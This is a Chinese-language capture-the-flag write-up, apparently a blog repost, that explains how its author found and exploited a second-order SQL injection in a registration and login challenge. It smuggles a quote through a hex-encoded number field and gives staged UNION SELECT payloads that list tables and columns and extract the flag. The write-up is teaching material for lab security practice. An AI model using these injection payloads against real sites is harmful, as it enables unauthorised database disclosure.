第九届极客大挑战——小帅的广告(二阶sql注入)

也是经过一通扫描和测试,没发现其他有用信息,感觉这是个sql注入。其实对于二阶sql注入我以前没实践过,也没看过资料,只是知道这个名字,但不知道为何看到这道题就让我回想起了这个名词,所以查了一下二阶sql注入的资料:二阶sql注入。简单来说,就是第一次构造的恶意数据直接储存到了数据库中,但在其他地方用到数据库里的数据来构造新的sql语句时没有经过安全处理,便导致恶意语句被触发了。

这道题有个很明显的数据回显就是注册一个用户并登陆后会在主页显示注册时所填写的资料,所以我一开始的想法就是在注册时填写构造好的sql语句,然后再登陆查看自己信息,不就成功实现了注入攻击。反复测试,发现 WHAT'S UP 处理并不得当,在此处填写单引号时会显示注册失败,这就说明,单引号未被转义直接拼接到了原sql语句中导致了sql语句错误。

   

猜测注册页面的的sql语句应该是

insert into users(username,password,lucknum,whatsup) values('','',1,'')

其中的username和password应该是经过安全处理,单引号无法逃逸,而lucknum只能输入数字,所以剩下whatsup可成为注入点,insert into 注入,但是出了点小意外,没有成功,暂时放一放...

几经折腾,终于把目光放在了这个luckynum上面。可能会疑惑luckynum只接受数字,怎么能构造sql语句呢,其实是可以用字符串的16进制来表示的,例如

所以先在luckynum处构造一个单引号看看结果验证一下猜想

看到user info里面什么也没有,说明后台在查询我这个leixiao002用户时,sql语句是错误的,所以没有查到任何信息。

梳理一下逻辑

1.用户注册账号,填写密码及其他信息

insert into users(username,password,lucknum,whatsup) values('leixiao002','1',0x27,'1')

2.用户用账号密码尝试登陆,后台用账号密码执行sql查询

select * from users where username='leixiao002' and password='1'

3.查询到数据就进入登录界面并显示该用户信息

//显示username,luckynum,whatsup

这么看来并没有lucknum什么事,大不了显示出来lucknum就是一个单引号而已,为什么lucknum为单引号就出错呢,重新推测下处理逻辑如下,虽然我感觉不合理,但这应该是出题人故意留下的漏洞,全靠直觉...有错望指正。

1.用户注册账号,填写密码及其他信息

insert into users(username,password,lucknum,whatsup) values('leixiao002','1',0x27,'1')

2.用户用账号密码尝试登陆,后台用账号密码执行sql查询,正确就进入登录界面

select * from users where username='leixiao002' and password='1'

3.查询到数据luckynum的内容

lucknum='

4.再次执行查询

select * from users where username='leixiao002' and password='1' and luckynum='''

5.如果4的语句正确就显示用户信息

看到4的sql语句最后面多了一个',所以出错。

依据4的语句,接着构造出

select * from users where username='leixiao00x' and password='1' and luckynum='' union select 1,1,database()

爆出了数据库名

接着再注册几个账号,逐步构造以下语句就可

1: ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

2: ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

3. ' union select 1,2,easyflag from fl4g#

原文地址:https://www.cnblogs.com/leixiao-/p/9855844.html